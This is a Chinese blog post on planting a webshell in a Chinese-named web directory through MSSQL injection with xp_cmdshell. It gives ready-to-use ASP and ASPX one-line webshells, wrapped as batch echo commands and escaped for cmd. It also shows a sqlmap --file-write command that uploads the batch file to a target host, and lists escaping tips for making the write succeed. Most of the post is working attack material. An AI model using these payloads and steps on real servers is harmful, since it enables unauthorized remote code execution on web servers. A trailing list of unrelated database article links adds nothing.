MSSQL利用批处理写马至中文路径

简介: MSSQL利用批处理写马至中文路径


0x01 前言

上周在先知社区看到@Xgstar师傅写的《SQLserver写Webshell总结-突破中文路径》文章中提到一个利用批处理写Webshell至中文路径的思路,但最后他并没有成功利用这个思路写入Webshell。


因为之前也写过这类场景的利用思路,所以就想对他提到的这个思路以及遇到的问题简单测试下,关于更多写Webshell至中文路径的思路可参考我之前写的《MSSQL高权限注入写马至中文路径》。


0x02 通过批处理文件写马

按照他的思路我们先在本地创建一个用于写一句话木马的批处理文件,不过得将该文件编码改为ANSI或GB2312(默认UTF-8),因为xp_cmdshell调用的cmd.exe命令终端的编码是GBK。

    写ASP一句话:
    echo ^<%eval request("xxxasec")%^> >C:\inetpub\wwwroot\中文测试\shell.asp
    写ASPX一句话:
    echo ^<%@ Page Language="Jscript"%^>^<%eval(Request.Item["xxxasec"],"unsafe");%^> > C:\inetpub\wwwroot\中文测试\shell.aspx


    接着再利用sqlmap --file-write、--file-dest参数或者Windows自带的certutil等程序将这个写马批处理文件落地到目标磁盘中,再用type看下文件中的中文字符是否还会出现乱码?

      sqlmap -u "http://192.168.56.102/sql.aspx?id=1" --batch --file-write /tmp/shell.bat -file-dest C:\\ProgramData\\shell.bat


      上图中可以看到已经没有乱码了,但是在执行这个批处理文件写马时又出现了一点问题。


      一句话木马文件是已经写进去了,但是已经不成样了,如下图,为什么会这样呢?我们继续往下看!


      作者说是%与批处理不兼容的问题,其实就是一句话木马中的%......%被批处理当作行间注释了,不能出现>重定向符号和|管道符号,这时我们可以用两个%百分号来解决这个问题。

        写ASP一句话:
        echo ^<%%eval request("xxxasec")%%^> >C:\inetpub\wwwroot\中文测试\shell.asp
        写ASPX一句话:
        echo ^<%%@ Page Language="Jscript"%%^>^<%%eval(Request.Item["xxxasec"],"unsafe");%%^> > C:\inetpub\wwwroot\中文测试\shell.aspx


        将以上进行转义过的写一句话木马的批处理文件再次通过sqlmap --file-write、--file-dest的方式上传至目标磁盘中并执行。


        这时可以看到已经成功将一句话木马写入至中文路径了。


        0x03 需要注意的几个地方

        1. 命令行写Webshell时得在<>尖括号前用^转义:^<^>
        2. 批处理写Webshell时得在%百分号前用%转义:%%1%%2
        3. sqlmap --file-write、--file-dest写入文件时路径得用\\双斜杠;
        相关文章
        |
        1月前
        |
        SQL 数据库
        DBeaver执行sql文件
        本文介绍了DBeaver这款支持多种数据库的通用数据库管理工具和SQL客户端,它具备查看数据库结构、执行SQL查询和脚本、浏览和导出数据等功能。
        86 1
        DBeaver执行sql文件
        |
        5月前
        |
        关系型数据库 MySQL 数据安全/隐私保护
        windows系统bat批处理 mysql 脚本启动关闭
        windows系统bat批处理 mysql 脚本启动关闭
        213 3
        |
        6月前
        |
        弹性计算 关系型数据库 MySQL
        离线安装二进制Mysql脚本
        【4月更文挑战第30天】
        38 1
        |
        6月前
        |
        SQL 关系型数据库 Shell
        postgresql|数据库|批量执行SQL脚本文件的shell脚本
        postgresql|数据库|批量执行SQL脚本文件的shell脚本
        324 0
        |
        API Android开发 开发者
        Python读取adb库表限制3000条的问题
        Python读取adb库表限制3000条的问题
        61 0
        |
        SQL 关系型数据库 MySQL
        Navicat如何运行SQL脚本文件
        一朋友初入门,今天导入sql文件时出错,我就简单记录了一下
        1509 1
        |
        SQL 存储 数据库
        Navicat Premium导出数据库中的结构及数据及运行SQL文件
        利用Navicat Premium导出数据库中的结构及数据利用Navicat Premium执行数据库中的结构及数据。本文以Navicat Premium15为例。
        427 1
        Navicat Premium导出数据库中的结构及数据及运行SQL文件
        |
        Shell 数据库
        shell脚本使用mysqldump+mysql同步线上库和测试库数据
        shell脚本使用mysqldump+mysql同步线上库和测试库数据
        263 0
        |
        存储 监控 C#
        在MVC程序中使用MongoDB数据库
        .net项目中混搭数据库 安装和部署  C#中使用MongoDB  MongoDb与关系型数据库区别 开机自启动 关系型数据库和非关系型数据口可以混搭 MongoDB是一个高性能,开源,无模式的,基于分布式文件存储的文档型数据库,由C++语言编写,其名称来源取自“humongous”,是一种开源的文档数据库──NoSql数据库的一种。
        1473 0
        |
        SQL 数据库
        MsSql常用脚本
        持续更新中... /************************************************************ * Code formatted by SoftTree SQL Assistant ?v6.
        715 0